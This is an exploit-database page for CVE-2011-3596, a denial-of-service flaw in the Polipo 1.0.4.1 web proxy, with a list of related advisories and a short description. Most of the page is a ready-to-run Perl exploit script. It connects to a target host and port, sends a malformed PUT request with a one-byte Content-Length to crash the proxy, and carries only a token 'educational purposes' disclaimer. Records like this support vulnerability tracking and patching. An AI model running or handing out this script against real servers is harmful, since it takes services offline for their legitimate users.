Polipo 1.0.4.1 - POST/PUT HTTP Header Processing Denial of Service
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
| CVE-2011-3596 | 1 Oct 201100:00 | – | circl | |
| CVE-2011-3596 | 25 Nov 201923:53 | – | cve | |
| CVE-2011-3596 | 25 Nov 201923:53 | – | cvelist | |
| CVE-2011-3596 | 25 Nov 201923:53 | – | debiancve | |
| [SECURITY] Fedora 15 Update: polipo-1.0.4.1-6.fc15 | 1 Feb 201219:27 | – | fedora | |
| [SECURITY] Fedora 16 Update: polipo-1.0.4.1-6.fc16 | 1 Feb 201219:30 | – | fedora | |
| Fedora 16 : polipo-1.0.4.1-6.fc16 (2012-0840) | 2 Feb 201200:00 | – | nessus | |
| Fedora 15 : polipo-1.0.4.1-6.fc15 (2012-0849) | 2 Feb 201200:00 | – | nessus | |
| CVE-2011-3596 | 26 Nov 201900:15 | – | nvd | |
| Fedora Update for polipo FEDORA-2012-0849 | 3 Feb 201200:00 | – | openvas |
10
source: https://www.securityfocus.com/bid/49908/info
Polipo is prone to a denial-of-service vulnerability.
Remote attackers can exploit this issue to cause the application to crash, denying service to legitimate users.
Polipo 1.0.4.1 is vulnerable; other versions may also be affected.
#!/usr/bin/perl
# POLIPO 1.0.4.1 Denial Of Service
# Disclaimer:
# [This code is for Educational Purposes , I would Not be responsible
for any misuse of this code]
# Author: Usman Saeed
# Company: Xc0re Security Research Group
# Website: http://www.xc0re.net
# DATE: [30/09/11]
$host = $ARGV[0];
$PORT = $ARGV[1];
$evil = "PUT / HTTP/1.1\r\n".
"Content-Length:1\r\n\r\n";
use IO::Socket::INET;
if (! defined $ARGV[0])
{
print "+========================================================+\n";
print "+ Program [POLIPO 1.0.4.1 Denial Of Service] +\n";
print "+ Author [Usman Saeed] +\n";
print "+ Company [Xc0re Security Research Group] +\n";
print "+ DATE: [30/09/11] +\n";
print "+ Usage :perl sploit.pl webserversip wbsvrport +\n";
print "+ Disclaimer: [This code is for Educational Purposes , +\n";
print "+ I would Not be responsible for any misuse of this code]+\n";
print "+========================================================+\n";
exit;
}
$sock = IO::Socket::INET->new( Proto => "tcp",PeerAddr => $host ,
PeerPort => $PORT) || die "Cant connect to $host!";
print "+========================================================+\n";
print "+ Program [POLIPO 1.0.4.1 Denial Of Service] +\n";
print "+ Author [Usman Saeed] +\n";
print "+ Company [Xc0re Security Research Group] +\n";
print "+ DATE: [30/09/11] +\n";
print "+ Usage :perl sploit.pl webserversip wbsvrport +\n";
print "+ Disclaimer: [This code is for Educational Purposes , +\n";
print "+ I would Not be responsible for any misuse of this code]+\n";
print "+========================================================+\n";
print "\n";
print "[*] Initializing\n";
sleep(2);
print "[*] Sendin evil Packet Buhahahahaha \n";
send ($sock , $evil , 0);
print "[*] Crashed :) \n";
$res = recv($sock,$response,1024,0);
print $response;
exit;Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
27 Feb 2015 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 25
CVSS 3.17.5
EPSS0.11055